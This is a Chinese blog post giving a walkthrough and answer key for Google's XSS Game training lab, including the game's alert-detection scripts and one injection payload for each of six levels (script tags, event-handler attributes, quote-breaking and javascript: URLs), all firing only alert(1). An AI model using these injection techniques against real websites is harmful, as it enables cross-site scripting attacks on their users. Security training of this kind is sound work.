有趣的游戏:Google XSS Game
2015-07-18 11:51
811 查看
Google最近出了一XSS游戏:
https://xss-game.appspot.com/
我这个菜鸟看提示,花了两三个小时才全过了。。
这个游戏的规则是仅仅要在攻击网页上弹出alert窗体就能够了。
题目页面是在iframe里嵌套的展现的。那么父窗体是怎样知道iframe里成功弹出了窗体?
是这样子实现的:
题目页面载入了这个js,改写了alert函数,当alert被调用时,向parent发送一个消息。
https://xss-game.appspot.com/static/game-frame.js
https://xss-game.appspot.com/static/game.js
最以下是题目的答案。假设想自己玩游戏的,慎拉下。
题目的答案:
Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">
Level3:
https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">
Level4:
3');alert('1
Level5:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Level6:
重点是前面要有一个空格。
https://www.google.com/jsapi?
callback=alert
游戏过关之后,google给出了一个xss的文档:
https://www.google.com/about/appsecurity/learning/xss/index.html
https://xss-game.appspot.com/
我这个菜鸟看提示,花了两三个小时才全过了。。
这个游戏的规则是仅仅要在攻击网页上弹出alert窗体就能够了。
题目页面是在iframe里嵌套的展现的。那么父窗体是怎样知道iframe里成功弹出了窗体?
是这样子实现的:
题目页面载入了这个js,改写了alert函数,当alert被调用时,向parent发送一个消息。
https://xss-game.appspot.com/static/game-frame.js
/* If we're being iframed, let the parent know our URL */ /* Kids: don't do this at home! */ parent.postMessage(window.location.toString(), "*"); /* Override window.alert */ var originalAlert = window.alert; window.alert = function(s) { parent.postMessage("success", "*"); setTimeout(function() { originalAlert("Congratulations, you executed an alert:\n\n" + s + "\n\nYou can now advance to the next level."); }, 50); }然后父窗体注冊了一个EventListener来接收这个消息:
https://xss-game.appspot.com/static/game.js
window.addEventListener("message", function(event) { if (!window.location.origin) { window.location.origin = window.location.protocol + "//" + window.location.hostname + (window.location.port ? ':' + window.location.port: ''); } if (event.origin == window.location.origin && event.data == "success") { userOpenedAlert = true; levelSolved(); return; }
最以下是题目的答案。假设想自己玩游戏的,慎拉下。
题目的答案:
Level1:
<script>alert(1)</script>
Level2:
<input onmouseover="alert(1)">
Level3:
https://xss-game.appspot.com/level3/frame#3.jpg' onload="alert(1)">
Level4:
3');alert('1
Level5:
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
Level6:
重点是前面要有一个空格。
https://www.google.com/jsapi?
callback=alert
游戏过关之后,google给出了一个xss的文档:
https://www.google.com/about/appsecurity/learning/xss/index.html
相关文章推荐
- django 简单会议室预约(4)
- Django中传递参数到URLconf的视图函数中的方法
- 在Django的URLconf中使用命名组的方法
- 在Go语言里检测内存泄漏
- 在Django的URLconf中使用多个视图前缀的方法
- 在Django的URLconf中进行函数导入的方法
- GO语言练习:channel 缓冲机制
- Django笔记 —— 基础部分总结
- 在Django的视图中使用form对象的方法
- 详解Django中的form库的使用
- Google的十大信条
- HDU 1018 斯特林公式应用
- Category用法
- 详解Django中的form库的使用
- 在Django的视图中使用form对象的方法
- 在Django的URLconf中进行函数导入的方法
- 在Django的URLconf中使用多个视图前缀的方法
- 在Django的URLconf中使用命名组的方法
- Django中传递参数到URLconf的视图函数中的方法
- 在Django框架中伪造捕捉到的URLconf值的方法